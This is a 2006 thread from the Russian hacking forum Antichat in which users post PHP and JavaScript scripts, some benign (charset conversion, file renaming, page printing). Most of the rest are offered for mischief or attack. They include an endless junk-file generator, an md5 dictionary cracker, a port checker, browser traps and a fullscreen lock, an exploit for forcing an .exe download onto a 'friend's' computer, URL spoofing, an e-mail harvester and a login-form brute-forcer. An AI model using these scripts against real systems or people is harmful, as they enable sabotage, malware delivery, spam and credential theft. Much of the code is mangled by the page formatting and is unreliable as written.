Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Полезные скрипты (https://forum.antichat.xyz/showthread.php?t=65761)

SMiX 02.11.2006 17:20

Полезные скрипты
 
Постим здесь ваши и не только скрипты, которые могут пригодиться в повседневной так сказать жизни.
Надеюсь, не будет излишнего флейма.
PHP скрипты пишем в тэгах [рhp] !!

Начну сам: сегодня понадобилось массово сменить кодировку всех файлов из одной директории с utf8 на cp1251.
PHP код:

<?php

function doit($dir='.'){
    
$d=opendir($dir);
    while(
$f=readdir($d)){
      if(
$f!=='.' AND $f!=='..'){
        echo 
$f;
        if(
is_file($dir.'/'.$f)){
            echo 
' Converting...';

            
$a=file_get_contents($dir.'/'.$f);
            
$a=iconv('UTF-8','WINDOWS-1251',$a);
            
$fp=fopen($dir.'/'.$f,'w');
            
fwrite($fp,$a);
            
fclose($fp);
            echo 
' - OK<br />';
        }elseif(
is_dir($dir.'/'.$f)){
            echo 
' changing dir<br />';
            
doit($dir.'/'.$f);
        }else{
            echo 
' Skipping<br />';
        }
      }
    }
}
doit('.');

?>


Ch3ck 02.11.2006 17:36

Сегодня понадобилось засрать все папки файлами :)(Скрипт создаёт бесконечное число файлов с разными именами и расширениями + раличной длинны)
PHP код:

<?php
// Greetz всем заподлянщикам...
//Аминь...
//(C) Dr.Check
////////////////////////////////////////////////////////////////
set_time_limit(0);
ignore_user_abort();
echo(
"<center><b>ИБО НЕХУЙ!!!</b></center>");
/////////////////////////////////////////////////////////////////
    
$name = array('a','b','c','d','e','f','g','h','i','j','k',  'l','m','n','o','p','r','s',
                 
't','u','v','x','y','z','A','B','C','D','E','F','G  ','H','I','J','K','L',
                 
'M','N','O','P','R','S','T','U','V','X','Y','Z','1  ','2','3','4','5','6',
                 
'7','8','9','0');
//////////////////////////////////////////////////////////////////
    
$rash= array('.txt','.dic','.doc','.xls','.exe','.ini',
                    
'.bat','.log','.dll','.hak','.wmf','.zip','.rar',
                    
'.tar','.gz','.jpg','.gif','.bmp');
/////////////////////////////////////////////////////////////////
while(true) {
    
$perem "";
    
$fuck="";
    for(
$i 0$i rand(20,1); $i++) // количество сиволов в имени файла.
    
{
     
$by rand(0count($name) - 1);
     
$perem .= $name[$by];
    }
    
$rarand(0count($rash)-1);
    
$fuck .= $rash[$ra];
         
$fp=fopen($perem.$fuck,"w");
        
fwrite($fp,php_uname());
        
fclose($fp);
        }
?>

P.S (вот так вроде правильней(для твоего скрипта)
PHP код:

$dir=opendir(".");
 while (
false !== ($file readdir($dir))) {
   if((
$file !=".") && ($file !="..")) { 

Хотя одно и тоже... ;)
Хм, какой-то простенький md5 брут
PHP код:

 <?
function pass_dict ($hash)
{
 
//вычисляем начальное время, необходимое для расчета общего времени выполнения скрипта
 
$start_time microtime();
 
$start_array explode(" ",$start_time);
 
$start_time $start_array[1] + $start_array[0];

 
//открываем файл словаря из стандартного дистрибутива линукса
 
$f fopen("linux.words","r") or die("ошибка");
 while (!
feof($f))
 {
  
$str strtolower(fgets($f));
  
//удаляем лишние пробелы и символы конца строки
  
$str trim($str);
  
$strmd5 md5($str);
  if (
$strmd5 == $hash)
   
$pass $str;

  if (isset(
$pass))
   {
    echo 
"password = ".$pass;
    
$end_time microtime();
    
$end_array explode(" ",$end_time);
    
$end_time $end_array[1] + $end_array[0];
    
$time $end_time $start_time;
    echo 
"<br><center>Найдено за $time секунд!</center>";
    
fclose($f);
    return;
   }
  }

 
$end_time microtime();
 
$end_array explode(" ",$end_time);
 
$end_time $end_array[1] + $end_array[0];
 
$time $end_time $start_time;
 echo 
"<br><center>Не найдено за $time секунд!</center>";
 
fclose($f);
 return;
}
pass_dict("e206a54e97690cce50cc872dd70ee896");
?>

Скрипт проверяет на наличий сервисов POP, FTP и т.д
PHP код:

<html>
<head>
<title>::CHECKER::</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<body bgcolor="#000000" text="#ffffff">
<hr width="30%"></hr><center><table border="1pt"><tr><td bgcolor="#90EE90"><center><font color="black"><b>| Введите имя сервера |</b></font></center></td></tr>
<tr><td><form action="<? $PHP_SELF ?>" method="post">
<b>NAME:</b> <input type="text" name="domain"></td></tr><tr><td><input type="submit" value="Проверить">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<button onclick=location.reload(true)>Обновить</button></td></tr></table>
<hr width="30%"></hr>
<?php
error_reporting
(0);
set_time_limit(0);
$domain=$_POST['domain'];
$ip=gethostbyname($domain);
$httpport "80";
$ftpport "21";
$popport "110";
$imapport "143";
$smtpport "25";
$sshport "22";
echo 
"<b>"; echo("IP адрес хоста: "); echo "</b>";
echo 
"<font color=\"red\">"; echo($ip); echo "</font>"
?>
<table border="1pt"><tr><td bgcolor="#90EE90"><center><font color="black"><b>| Результаты проверки |</b></font></center></td></tr>
<tr><td><font color="#999999"><b>HTTP --> </b></font>
<?php
 $http 
fsockopen($domain$httpport$errno$errstr$timeout);
 if (!
$http)
 {
 echo (
"<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
 }

 else
 {
 echo (
"<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
 }
?></td></tr>
<tr><td><font color="#999999"><b>FTP --> </b></font>
      <?php
 $ftp 
fsockopen($domain$ftpport$errno$errstr$timeout);
 if (!
$ftp)
 {
 echo (
"<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
 }

 else
 {
 echo (
"<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
 }
?></td></tr>
<tr><td><font color="#999999"><b>POP --> </b></font>
<?php
 $pop 
fsockopen($domain$popport$errno$errstr$timeout);
 if (!
$pop)
 {
 echo (
"<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
 }

 else
 {
 echo (
"<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
 }
?>
</td></tr>
<tr><td><font color="#999999"><b>IMAP --> </b></font>
<?php
 $imap 
fsockopen($domain$imapport$errno$errstr$timeout);
 if (!
$imap)
 {
 echo (
"<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
 }

 else
 {
 echo (
"<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
 }
?>
</td></tr>
<tr><td><font color="#999999"><b>SMTP --> </b></font>
<?php
 $smtp 
fsockopen($domain$smtpport$errno$errstr$timeout);
 if (!
$smtp)
 {
 echo (
"<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
 }

 else
 {
 echo (
"<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
 }
?>
</td></tr>
<tr><td><b><font color="#999999">SSH --> </font></b>
<?php
 $ssh 
fsockopen($domain$sshport$errno$errstr$timeout);
 if (!
$ssh)
 {
 echo (
"<font color=\"red\"><b>\"DEACTIVATED\"</b></font>");
 }

 else
 {
 echo (
"<font color=\"green\"><b>\"ACTIVATED\"</b></font>");
 }
?>
</td></tr></table><hr width="30%"></hr></center>
</body>
</head>
</html>


_GaLs_ 02.11.2006 18:16

Не дает закрвать окно.
(пример простой, часто используется на порносайтах)
Код:

<html>
 <head>
  <title>Press ALT+F4</title>
 </head>

 <body onunload="goodBye()">
    <p align="center">
        <b>Yuo can't close your browser window</b>
    </p>
    <script language="JavaScript">
      <!--
          function goodBye()
            {window.open("Cantclose.htm");}
      //-->
    </script>
    <p align="center">
      <b>Try Alt+F4!</b>
    </p>
 </body>
</html>

Позволяет узнать выставленную кодировку.
Код:

<script>
 var u=navigator.userAgent;
 if (u.indexOf("Win") != -1) // Текст в 1251
    document.writeln ("Windows 1251");
 else if (u.indexOf("DOS") != -1 || u.indexOf("OS/2") != -1) // Текст в 866
    document.writeln("MS-DOS CP866");  // Текст в K018
    else document.writein ( "лПДЙТПЧЛБ KOI8-R");
</script>

Следущий скрипт показывает последнее обновление страницы:
Код:

<script language="JavaScript">
 <!--
    var dateMod = "";
    dateMod = document.lastModified;
    document.write("Last Update:  ");
    document.write(dateMod);
    document.write();
  // -->
</script>

При нажатии на кнопку, страница распечатывается:
Код:

<script Language="Javascript">

function printit(){ 
if (window.print) {
  window.print(); 
} else {
  var WebBrowser = '<OBJECT ID="WebBrowser1" WIDTH=0 HEIGHT=0 CLASSID="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2"></OBJECT>';
document.body.insertAdjacentHTML('beforeEnd', WebBrowser);
  WebBrowser1.ExecWB(6, 2);//Use a 1 vs. a 2 for a prompting dialog box    WebBrowser1.outerHTML = ""; 
}
}
</script>

<script Language="Javascript"> 
var NS = (navigator.appName == "Netscape");
var VERSION = parseInt(navigator.appVersion);
if (VERSION > 3) {
  document.write('<form><input type=button value="Print this Page" name="Print" onClick="printit()"></form>');       
}
</script>


Ch3ck 03.11.2006 03:43

Только, что написал. Может кому и понадобиться:
Скрипт смотрит все файлы в данном каталоге, и изменяет расширения этих фалов на заданные Вами:
PHP код:

<?php
      $star
'txt';  // Расширение ДО
      
$nov 'php';//Расширение  ПОСЛЕ
   
function listDir ($url) {
    
$i 0;
    
$dir opendir(".");
    while (
false !== ($file readdir($dir))) {
   if((
$file !=".") && ($file !="..")) {
            
$outp[$i] = $file;
            ++
$i;
        }
    }
    
closedir($dir);
    return 
$outp;
}

function 
fil_list($path) {
    global 
$star$nov;
    
$path_array listDir($path);
    for(
$i=0$i count($path_array); $i++) {
        if (
$path ''$p '/';
        else 
$p '';
        
$ls $path.$p.$path_array[$i];
        if (@
is_dir($ls)) fil_list($ls);
        else if (
preg_match('/\.'.$star.'$/i'$ls)) {
            
$fd_new substr($ls0strlen($ls)-strlen($star)).$nov;
            
rename ($ls$fd_new);
            echo 
$ls.' >>> '.$fd_new.'<br>';
        }
    }
}

fil_list($start_dir);
?>


uranoff 04.11.2006 08:29

С помощью этого скриптика можно обойти ограничения безопасности для 'File Download' и 'File Open' и загрузить произвольный файл на копутер *друга*:

<html>
<body>
<iframe src='http://your.domain.com/v.exe?.htm' name=
"NotFound" width="0" height="0"></iframe>
Click <a href=# onclick="javascript:document.frames.NotFound.
document.execCommand('SaveAs',1,'funny joke.exe');">here</a>.
</body>
</html>

uranoff 04.11.2006 08:41

Таким способом можно подделать URL, которого не будет отображен в браузере:

javascript:document.write("<iframe src='http://www.google.com' width='100%' height='100%'></iframe>");

uranoff 04.11.2006 08:45

Этот скриптик будет отображать в строке состояния произвольный адрес URL при наведении на ссылку:

<a href="http://www.microsoft.com/"><table><tr><td>
<a href="http://www.google.com/">Click here</td></tr></table></a>

TANZWUT 04.11.2006 12:13

Прикольный скрипт, пригодится для выкидывания юзеров из чата и других пакостей ;)
PHP код:

<body scroll=no bgcolor=black><script>setInterval ("focus ()"10); open ('','','fullscreen=1'); w.document.write ('<body scroll=no bgcolor=black>' document.body.innerHTML '</body>')</script></body


Ch3ck 13.11.2006 19:00

Парсер(e-mail).
Писал когда-то...Может кому и пригодиться.
PHP код:

<? 
$handler
=fopen('emails.txt','a+');
  for(
$i=1;$i<3000;$i++){ 
    
$filename 'http://www.***.ru/center.php?chp=showorg&num='.$i
    echo 
$i.". "
    
$str file_get_contents($filename); 
    
preg_match_all('|href="mailto:([^"]*)"|is',$str,$out); 
    if(empty(
$out[1][0])) echo " no mail"
    else{ 
      echo 
" get ".$out[1][0]; 
      
fwrite($handler,$out[1][0]."\n"); 
    } 
    echo 
"\n"
  } 
  
fclose($handler); 
?>


//by SMiX: забыл хэндлер открыть =)

nc.STRIEM 13.11.2006 20:56

БРУТФОРС ФОРМ! настраиваеться практически под любую..
PHP код:

<?################Брутфорс  Форм##################
///////////////////////----(c) nc.STRIEM----//////////////////////////
    
$filepas="file.txt" ///файл   с данными для брута
    
$filegood="good.txt"///файл с подходящими паролями
    
$endifg=1///закончить при первом же найденом 1-да 0-нет
    
    
$iskl=array();
//////строки которых не  должно быть в правельных страницах/////////
     
$iskl[0]="Неверный пароль";
    
//$iskl[1]="Неверная длина пароля!";
    //$iskl[2]="ERROR";
    //$iskl[3]="Ошибка";
    
//////////////////////////////////////////////////////////////////
    
$host="localhost";  ///хост
    
$script="/form.php";     ///скрипт 
                                    
///////////////////////////////////////////////Передоваемый Header ///////////////////////////////////////////////////////    
    
$header="POST http://$host$script HTTP/1.0\r\n";
    
$header.= "Host: $host\r\n";
    
$header.= "Content-Type: application/x-www-form-urlencoded\r\n";
//////Не обязательные параметры! но не всегда///
    //$header.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n";
    //$header.="Accept-Language: ru\r\n";
    //$header.= "Proxy-Connection: Keep-Alive\r\n";
    //$header.= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.6 (build 01425))\r\n";
    //$header.="Referer:  http://microsoft.com\r\n";
    //$header.="Cookie: CREATED=nc.STRIEM\r\n";
####################################Сам брут#####################################    
    
set_time_limit(0);
    
$fo=fopen($filepas,"r");
    
$kolvoporolei=0;
    
$timestart=time('U');
    
$fgo=fopen($filegood,"a");
    echo 
"<h3><center>Мы брутили http://$host$script</center></h3>";
 while(!
feof($fo))
 {
/////////////////////////////////////////////
$fp fsockopen("www.".$host80$errno$errstr30);
if (!
$fp
    echo 
"$errstr ($errno)<br />\n";
 else 
 {
  
$kolvoporolei++;
   
$dan=rtrim(fgets($fo));  /////берем данные из файла
    
$dannii=split(';',$dan);
    
    
$out=$header;
    
$zapr="login=$dannii[0]&password=$dannii[1]";     ////имена переменных и их значения сюда
    
$contleng=strlen($zapr);
    
$out.= "Content-Length: $contleng\r\n";
    
$out.= "Pragma: no-cache\r\n\r\n";
    
$out.= "$zapr\r\n\r\n";

     
fwrite($fp$out);
    
$conte="";
 while (!
feof($fp)) 
   
$conte.=fgets($fp);
   
  
$est=1;
for(
$i=0;$i<sizeof($iskl);$i++)
   if(
strstr($conte$iskl[$i]))
     {
     
$est=0;
     break;
     }
/////может понадобиться при настройки///
//echo htmlspecialchars($conte); break;
/////////////////////////////////
if($est)
   {
   
fwrite($fgo,$dannii[0].";".$dannii[1]."\n");
   echo 
"<h3><tt>Найдено:".$dannii[0].";".$dannii[1]."</tt></h3>";
   if(
$endifg)
      break;
    }
     
fclose($fp);
  }
}
//////////////////////////////////////////////////////////////////////////////////////////
fclose($fgo);
$time=time('U')-$timestart;
echo 
"<h1><center>Закончено</center></h1><br><h3><tt>Проверенно $kolvoporolei вариантов, за $time секунд!</tt></h3><br><h4 align=center><center><tt>©*nc.STRIEM<br>nc.striem@mail.ru</tt></center></h4>";
?>



Время: 09:49